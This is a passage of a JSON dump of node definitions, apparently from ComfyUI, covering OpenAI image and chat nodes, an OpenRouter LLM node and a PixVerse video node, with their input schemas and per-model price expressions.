["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt"], "optional": ["seed", "quality", "background", "size", "n", "image", "mask", "model", "custom_width", "custom_height"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "OpenAIGPTImage1", "display_name": "OpenAI GPT Image 2", "description": "Generates images synchronously via OpenAI's GPT Image endpoint.", "python_module": "comfy_api_nodes.nodes_openai", "category": "partner/image/OpenAI", "output_node": false, "deprecated": true, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "quality", "type": "COMBO"}, {"name": "n", "type": "INT"}, {"name": "model", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $ranges := {\n \"gpt-image-1\": {\n \"low\": [0.011, 0.02],\n \"medium\": [0.042, 0.07],\n \"high\": [0.167, 0.25]\n },\n \"gpt-image-1.5\": {\n \"low\": [0.009, 0.02],\n \"medium\": [0.034, 0.062],\n \"high\": [0.133, 0.22]\n },\n \"gpt-image-2\": {\n \"low\": [0.0048, 0.019],\n \"medium\": [0.041, 0.168],\n \"high\": [0.165, 0.67]\n }\n };\n $range := $lookup($lookup($ranges, widgets.model), widgets.quality);\n $nRaw := widgets.n;\n $n := ($nRaw != null and $nRaw != 0) ? $nRaw : 1;\n ($n = 1)\n ? {\"type\":\"range_usd\",\"min_usd\": $range[0], \"max_usd\": $range[1], \"format\": {\"approximate\": true}}\n : {\n \"type\":\"range_usd\",\n \"min_usd\": $range[0] * $n,\n \"max_usd\": $range[1] * $n,\n \"format\": { \"suffix\": \"/Run\", \"approximate\": true }\n }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "OpenAIGPTImageNodeV2": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt for GPT Image", "default": "", "multiline": true}], "model": ["COMFY_DYNAMICCOMBO_V3", {"options": [{"key": "gpt-image-2", "inputs": {"required": {"size": ["COMBO", {"tooltip": "Image size. Select 'Custom' to use the custom width and height.", "default": "auto", "multiselect": false, "options": ["auto", "1024x1024", "1024x1536", "1536x1024", "2048x2048", "2048x1152", "1152x2048", "3840x2160", "2160x3840", "Custom"]}], "custom_width": ["INT", {"tooltip": "Used only when `size` is 'Custom'. Must be a multiple of 16.", "default": 1024, "min": 1024, "max": 3840, "step": 16}], "custom_height": ["INT", {"tooltip": "Used only when `size` is 'Custom'. Must be a multiple of 16.", "default": 1024, "min": 1024, "max": 3840, "step": 16}], "background": ["COMBO", {"tooltip": "Return image with or without background.", "default": "auto", "multiselect": false, "options": ["auto", "opaque"]}], "quality": ["COMBO", {"tooltip": "Image quality, affects cost and generation time.", "default": "low", "multiselect": false, "options": ["low", "medium", "high"]}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference image(s) for image editing. Up to 16 images.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10", "image_11", "image_12", "image_13", "image_14", "image_15", "image_16"], "min": 0}}]}, "optional": {"mask": ["MASK", {"tooltip": "Optional mask for inpainting (white areas will be replaced). Requires exactly one reference image."}]}}}, {"key": "gpt-image-1.5", "inputs": {"required": {"size": ["COMBO", {"tooltip": "Image size.", "default": "auto", "multiselect": false, "options": ["auto", "1024x1024", "1024x1536", "1536x1024"]}], "background": ["COMBO", {"tooltip": "Return image with or without background.", "default": "auto", "multiselect": false, "options": ["auto", "opaque", "transparent"]}], "quality": ["COMBO", {"tooltip": "Image quality, affects cost and generation time.", "default": "low", "multiselect": false, "options": ["low", "medium", "high"]}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference image(s) for image editing. Up to 16 images.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10", "image_11", "image_12", "image_13", "image_14", "image_15", "image_16"], "min": 0}}]}, "optional": {"mask": ["MASK", {"tooltip": "Optional mask for inpainting (white areas will be replaced). Requires exactly one reference image."}]}}}, {"key": "gpt-image-1", "inputs": {"required": {"size": ["COMBO", {"tooltip": "Image size.", "default": "auto", "multiselect": false, "options": ["auto", "1024x1024", "1024x1536", "1536x1024"]}], "background": ["COMBO", {"tooltip": "Return image with or without background.", "default": "auto", "multiselect": false, "options": ["auto", "opaque", "transparent"]}], "quality": ["COMBO", {"tooltip": "Image quality, affects cost and generation time.", "default": "low", "multiselect": false, "options": ["low", "medium", "high"]}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference image(s) for image editing. Up to 16 images.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10", "image_11", "image_12", "image_13", "image_14", "image_15", "image_16"], "min": 0}}]}, "optional": {"mask": ["MASK", {"tooltip": "Optional mask for inpainting (white areas will be replaced). Requires exactly one reference image."}]}}}]}], "n": ["INT", {"tooltip": "How many images to generate", "default": 1, "min": 1, "max": 8, "step": 1, "display": "number"}], "seed": ["INT", {"tooltip": "not implemented yet in backend", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "model", "n", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "OpenAIGPTImageNodeV2", "display_name": "OpenAI GPT Image 2", "description": "Generates images via OpenAI's GPT Image endpoint.", "python_module": "comfy_api_nodes.nodes_openai", "category": "partner/image/OpenAI", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.quality", "type": "COMBO"}, {"name": "n", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $ranges := {\n \"gpt-image-1\": {\n \"low\": [0.011, 0.02],\n \"medium\": [0.042, 0.07],\n \"high\": [0.167, 0.25]\n },\n \"gpt-image-1.5\": {\n \"low\": [0.009, 0.02],\n \"medium\": [0.034, 0.062],\n \"high\": [0.133, 0.22]\n },\n \"gpt-image-2\": {\n \"low\": [0.0048, 0.019],\n \"medium\": [0.041, 0.168],\n \"high\": [0.165, 0.67]\n }\n };\n $range := $lookup($lookup($ranges, widgets.model), $lookup(widgets, \"model.quality\"));\n $nRaw := widgets.n;\n $n := ($nRaw != null and $nRaw != 0) ? $nRaw : 1;\n ($n = 1)\n ? {\"type\":\"range_usd\",\"min_usd\": $range[0], \"max_usd\": $range[1], \"format\": {\"approximate\": true}}\n : {\n \"type\":\"range_usd\",\n \"min_usd\": $range[0] * $n,\n \"max_usd\": $range[1] * $n,\n \"format\": { \"suffix\": \"/Run\", \"approximate\": true }\n }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "OpenAIChatNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text inputs to the model, used to generate a response.", "default": "", "multiline": true}], "persist_context": ["BOOLEAN", {"tooltip": "This parameter is deprecated and has no effect.", "advanced": true, "default": false}], "model": ["COMBO", {"tooltip": "The model used to generate the response", "multiselect": false, "options": ["gpt-5.5-pro", "gpt-5.5", "gpt-5", "gpt-5-mini", "gpt-5-nano", "gpt-4.1", "gpt-4.1-mini", "gpt-4.1-nano", "o4-mini", "o3", "o1-pro", "o1"]}]}, "optional": {"images": ["IMAGE", {"tooltip": "Optional image(s) to use as context for the model. To include multiple images, you can use the Batch Images node."}], "files": ["OPENAI_INPUT_FILES", {"tooltip": "Optional file(s) to use as context for the model. Accepts inputs from the OpenAI Chat Input Files node."}], "advanced_options": ["OPENAI_CHAT_CONFIG", {"tooltip": "Optional configuration for the model. Accepts inputs from the OpenAI Chat Advanced Options node."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "persist_context", "model"], "optional": ["images", "files", "advanced_options"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [false], "output_name": ["STRING"], "output_tooltips": [null], "output_matchtypes": null, "name": "OpenAIChatNode", "display_name": "OpenAI ChatGPT", "description": "Generate text responses from an OpenAI model.", "python_module": "comfy_api_nodes.nodes_openai", "category": "partner/text/OpenAI", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $m := widgets.model;\n $contains($m, \"o4-mini\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.0011, 0.0044],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n : $contains($m, \"o1-pro\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.15, 0.6],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n : $contains($m, \"o1\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.015, 0.06],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n : $contains($m, \"o3-mini\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.0011, 0.0044],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n : $contains($m, \"o3\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.01, 0.04],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n : $contains($m, \"gpt-4.1-nano\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.0001, 0.0004],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n : $contains($m, \"gpt-4.1-mini\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.0004, 0.0016],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n : $contains($m, \"gpt-4.1\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.002, 0.008],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n : $contains($m, \"gpt-5.5-pro\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.03, 0.18],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n : $contains($m, \"gpt-5.5\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.005, 0.03],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n : $contains($m, \"gpt-5-nano\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.00005, 0.0004],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n : $contains($m, \"gpt-5-mini\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.00025, 0.002],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n : $contains($m, \"gpt-5\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.00125, 0.01],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n : {\"type\": \"text\", \"text\": \"Token-based\"}\n )\n "}, "search_aliases": null, "essentials_category": "Text Generation", "has_intermediate_output": false}, "OpenAIInputFiles": {"input": {"required": {"file": ["COMBO", {"tooltip": "Input files to include as context for the model. Only accepts text (.txt) and PDF (.pdf) files for now.", "multiselect": false, "options": []}]}, "optional": {"OPENAI_INPUT_FILES": ["OPENAI_INPUT_FILES", {"tooltip": "An optional additional file(s) to batch together with the file loaded from this node. Allows chaining of input files so that a single message can include multiple input files."}]}}, "input_order": {"required": ["file"], "optional": ["OPENAI_INPUT_FILES"]}, "is_input_list": false, "output": ["OPENAI_INPUT_FILES"], "output_is_list": [false], "output_name": ["OPENAI_INPUT_FILES"], "output_tooltips": [null], "output_matchtypes": null, "name": "OpenAIInputFiles", "display_name": "OpenAI ChatGPT Input Files", "description": "Loads and prepares input files (text, pdf, etc.) to include as inputs for the OpenAI Chat Node. The files will be read by the OpenAI model when generating a response. \ud83d\udec8 TIP: Can be chained together with other OpenAI Input File nodes.", "python_module": "comfy_api_nodes.nodes_openai", "category": "partner/text/OpenAI", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "OpenAIChatConfig": {"input": {"required": {"truncation": ["COMBO", {"tooltip": "The truncation strategy to use for the model response. auto: If the context of this response and previous ones exceeds the model's context window size, the model will truncate the response to fit the context window by dropping input items in the middle of the conversation.disabled: If a model response will exceed the context window size for a model, the request will fail with a 400 error", "advanced": true, "default": "auto", "multiselect": false, "options": ["auto", "disabled"]}]}, "optional": {"max_output_tokens": ["INT", {"tooltip": "An upper bound for the number of tokens that can be generated for a response, including visible output tokens", "advanced": true, "default": 4096, "min": 16, "max": 16384}], "instructions": ["STRING", {"tooltip": "Instructions for the model on how to generate the response", "multiline": true}]}}, "input_order": {"required": ["truncation"], "optional": ["max_output_tokens", "instructions"]}, "is_input_list": false, "output": ["OPENAI_CHAT_CONFIG"], "output_is_list": [false], "output_name": ["OPENAI_CHAT_CONFIG"], "output_tooltips": [null], "output_matchtypes": null, "name": "OpenAIChatConfig", "display_name": "OpenAI ChatGPT Advanced Options", "description": "Allows specifying advanced configuration options for the OpenAI Chat Nodes.", "python_module": "comfy_api_nodes.nodes_openai", "category": "partner/text/OpenAI", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "OpenRouterLLMNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text input to the model.", "default": "", "multiline": true}], "model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "The OpenRouter model used to generate the response.", "options": [{"key": "anthropic/claude-opus-4.7", "inputs": {"required": {"reasoning_effort": ["COMBO", {"tooltip": "Reasoning effort. 'off' disables reasoning entirely.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference image(s) \u2014 up to 20. Sent as URLs.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10", "image_11", "image_12", "image_13", "image_14", "image_15", "image_16", "image_17", "image_18", "image_19", "image_20"], "min": 0}}]}}}, {"key": "openai/gpt-5.5-pro", "inputs": {"required": {"reasoning_effort": ["COMBO", {"tooltip": "Reasoning effort. 'off' disables reasoning entirely.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference image(s) \u2014 up to 20. Sent as URLs.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10", "image_11", "image_12", "image_13", "image_14", "image_15", "image_16", "image_17", "image_18", "image_19", "image_20"], "min": 0}}]}}}, {"key": "openai/gpt-5.5", "inputs": {"required": {"reasoning_effort": ["COMBO", {"tooltip": "Reasoning effort. 'off' disables reasoning entirely.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference image(s) \u2014 up to 20. Sent as URLs.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10", "image_11", "image_12", "image_13", "image_14", "image_15", "image_16", "image_17", "image_18", "image_19", "image_20"], "min": 0}}]}}}, {"key": "google/gemini-3.5-flash", "inputs": {"required": {"reasoning_effort": ["COMBO", {"tooltip": "Reasoning effort. 'off' disables reasoning entirely.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference image(s) \u2014 up to 20. Sent as URLs.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10", "image_11", "image_12", "image_13", "image_14", "image_15", "image_16", "image_17", "image_18", "image_19", "image_20"], "min": 0}}], "videos": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference video(s) \u2014 up to 4. Sent as URLs.", "template": {"input": {"required": {"video": ["VIDEO", {}]}}, "names": ["video_1", "video_2", "video_3", "video_4"], "min": 0}}]}}}, {"key": "x-ai/grok-4.20", "inputs": {"required": {"reasoning_effort": ["COMBO", {"tooltip": "Reasoning effort. 'off' disables reasoning entirely.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference image(s) \u2014 up to 20. Sent as URLs.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10", "image_11", "image_12", "image_13", "image_14", "image_15", "image_16", "image_17", "image_18", "image_19", "image_20"], "min": 0}}]}}}, {"key": "x-ai/grok-4.3", "inputs": {"required": {"reasoning_effort": ["COMBO", {"tooltip": "Reasoning effort. 'off' disables reasoning entirely.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference image(s) \u2014 up to 20. Sent as URLs.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10", "image_11", "image_12", "image_13", "image_14", "image_15", "image_16", "image_17", "image_18", "image_19", "image_20"], "min": 0}}]}}}, {"key": "deepseek/deepseek-v4-pro", "inputs": {"required": {"reasoning_effort": ["COMBO", {"tooltip": "Reasoning effort. 'off' disables reasoning entirely.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}]}}}, {"key": "deepseek/deepseek-v4-flash", "inputs": {"required": {"reasoning_effort": ["COMBO", {"tooltip": "Reasoning effort. 'off' disables reasoning entirely.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}]}}}, {"key": "deepseek/deepseek-v3.2", "inputs": {"required": {"reasoning_effort": ["COMBO", {"tooltip": "Reasoning effort. 'off' disables reasoning entirely.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}]}}}, {"key": "qwen/qwen3.6-max-preview", "inputs": {"required": {"reasoning_effort": ["COMBO", {"tooltip": "Reasoning effort. 'off' disables reasoning entirely.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}]}}}, {"key": "qwen/qwen3.6-plus", "inputs": {"required": {"reasoning_effort": ["COMBO", {"tooltip": "Reasoning effort. 'off' disables reasoning entirely.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference image(s) \u2014 up to 10. Sent as URLs.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10"], "min": 0}}], "videos": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference video(s) \u2014 up to 4. Sent as URLs.", "template": {"input": {"required": {"video": ["VIDEO", {}]}}, "names": ["video_1", "video_2", "video_3", "video_4"], "min": 0}}]}}}, {"key": "qwen/qwen3.6-flash", "inputs": {"required": {"reasoning_effort": ["COMBO", {"tooltip": "Reasoning effort. 'off' disables reasoning entirely.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference image(s) \u2014 up to 10. Sent as URLs.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10"], "min": 0}}], "videos": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference video(s) \u2014 up to 4. Sent as URLs.", "template": {"input": {"required": {"video": ["VIDEO", {}]}}, "names": ["video_1", "video_2", "video_3", "video_4"], "min": 0}}]}}}, {"key": "mistralai/mistral-large-2512", "inputs": {"required": {"images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference image(s) \u2014 up to 8. Sent as URLs.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8"], "min": 0}}]}}}, {"key": "mistralai/mistral-medium-3-5", "inputs": {"required": {"reasoning_effort": ["COMBO", {"tooltip": "Reasoning effort. 'off' disables reasoning entirely.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference image(s) \u2014 up to 8. Sent as URLs.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8"], "min": 0}}]}}}, {"key": "z-ai/glm-4.6", "inputs": {"required": {"reasoning_effort": ["COMBO", {"tooltip": "Reasoning effort. 'off' disables reasoning entirely.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}]}}}, {"key": "z-ai/glm-5", "inputs": {"required": {"reasoning_effort": ["COMBO", {"tooltip": "Reasoning effort. 'off' disables reasoning entirely.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}]}}}, {"key": "moonshotai/kimi-k2.6", "inputs": {"required": {"reasoning_effort": ["COMBO", {"tooltip": "Reasoning effort. 'off' disables reasoning entirely.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference image(s) \u2014 up to 10. Sent as URLs.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10"], "min": 0}}]}}}, {"key": "moonshotai/kimi-k2-thinking", "inputs": {"required": {"reasoning_effort": ["COMBO", {"tooltip": "Reasoning effort. 'off' disables reasoning entirely.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}]}}}, {"key": "perplexity/sonar-pro", "inputs": {"required": {"search_context_size": ["COMBO", {"tooltip": "How much web search context to retrieve. Larger = more grounded but slower/pricier.", "advanced": true, "default": "medium", "multiselect": false, "options": ["low", "medium", "high"]}]}}}, {"key": "perplexity/sonar-reasoning-pro", "inputs": {"required": {"search_context_size": ["COMBO", {"tooltip": "How much web search context to retrieve. Larger = more grounded but slower/pricier.", "advanced": true, "default": "medium", "multiselect": false, "options": ["low", "medium", "high"]}], "reasoning_effort": ["COMBO", {"tooltip": "Reasoning effort. 'off' disables reasoning entirely.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}]}}}, {"key": "perplexity/sonar-deep-research", "inputs": {"required": {"search_context_size": ["COMBO", {"tooltip": "How much web search context to retrieve. Larger = more grounded but slower/pricier.", "advanced": true, "default": "medium", "multiselect": false, "options": ["low", "medium", "high"]}], "reasoning_effort": ["COMBO", {"tooltip": "Reasoning effort. 'off' disables reasoning entirely.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}]}}}]}], "seed": ["INT", {"tooltip": "Seed for sampling. Set to 0 to omit. Most models treat this as a hint only.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true}]}, "optional": {"system_prompt": ["STRING", {"tooltip": "Foundational instructions that dictate the model's behavior.", "advanced": true, "default": "", "multiline": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "model", "seed"], "optional": ["system_prompt"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [false], "output_name": ["STRING"], "output_tooltips": [null], "output_matchtypes": null, "name": "OpenRouterLLMNode", "display_name": "OpenRouter LLM", "description": "Generate text responses through OpenRouter. Routes to a curated set of popular models from xAI, DeepSeek, Qwen, Mistral, Z.AI (GLM), Moonshot (Kimi), and Perplexity Sonar.", "python_module": "comfy_api_nodes.nodes_openrouter", "category": "partner/text/OpenRouter", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}], "inputs": [], "input_groups": []}, "expr": "(\n $rates := {\n \"anthropic/claude-opus-4.7\": [0.005, 0.025],\n \"openai/gpt-5.5-pro\": [0.03, 0.18],\n \"openai/gpt-5.5\": [0.005, 0.03],\n \"google/gemini-3.5-flash\": [0.0015, 0.009],\n \"x-ai/grok-4.20\": [0.00125, 0.0025],\n \"x-ai/grok-4.3\": [0.00125, 0.0025],\n \"deepseek/deepseek-v4-pro\": [0.000435, 0.00087],\n \"deepseek/deepseek-v4-flash\": [0.000112, 0.000224],\n \"deepseek/deepseek-v3.2\": [0.000252, 0.000378],\n \"qwen/qwen3.6-max-preview\": [0.00104, 0.00624],\n \"qwen/qwen3.6-plus\": [0.000325, 0.00195],\n \"qwen/qwen3.6-flash\": [0.0001875, 0.001125],\n \"mistralai/mistral-large-2512\": [0.0005, 0.0015],\n \"mistralai/mistral-medium-3-5\": [0.0015, 0.0075],\n \"z-ai/glm-4.6\": [0.00043, 0.00174],\n \"z-ai/glm-5\": [0.0006, 0.00192],\n \"moonshotai/kimi-k2.6\": [0.00073, 0.00349],\n \"moonshotai/kimi-k2-thinking\": [0.0006, 0.0025],\n \"perplexity/sonar-pro\": [0.003, 0.015],\n \"perplexity/sonar-reasoning-pro\": [0.002, 0.008],\n \"perplexity/sonar-deep-research\": [0.002, 0.008]\n };\n $r := $lookup($rates, widgets.model);\n $r ? {\n \"type\": \"list_usd\",\n \"usd\": $r,\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n } : {\"type\": \"text\", \"text\": \"Token-based\"}\n)"}, "search_aliases": null, "essentials_category": "Text Generation", "has_intermediate_output": false}, "PixverseTextToVideoNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Prompt for the video generation", "default": "", "multiline": true}], "aspect_ratio": ["COMBO", {"multiselect": false, "options": ["16:9", "4:3", "1:1", "3:4", "9:16"]}], "quality": ["COMBO", {"default": "540p", "multiselect": false, "options": ["360p", "540p", "720p", "1080p"]}], "duration_seconds": ["COMBO", {"multiselect": false, "options": [5, 8]}], "motion_mode": ["COMBO", {"multiselect": false, "options": ["normal", "fast"]}], "seed": ["INT", {"tooltip": "Seed for video generation.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true}]}, "optional": {"negative_prompt": ["STRING", {"tooltip": "An optional text description of undesired elements on an image.", "default": "", "multiline": true}], "pixverse_template": ["PIXVERSE_TEMPLATE", {"tooltip": "An optional template to influence style of generation, created by the PixVerse Template node."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "aspect_ratio", "quality", "duration_seconds", "motion_mode", "seed"], "optional": ["negative_prompt", "pixverse_template"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "PixverseTextToVideoNode", "display_name": "PixVerse Text to Video", "description": "Generates videos based on prompt and output_size.", "python_module": "comfy_api_nodes.nodes_pixverse", "category": "partner/video/PixVerse", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "duration_seconds", "type": "COMBO"}, {"name": "quality", "type": "COMBO"}, {"name": "motion_mode", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $prices := {\n \"5\": {\n 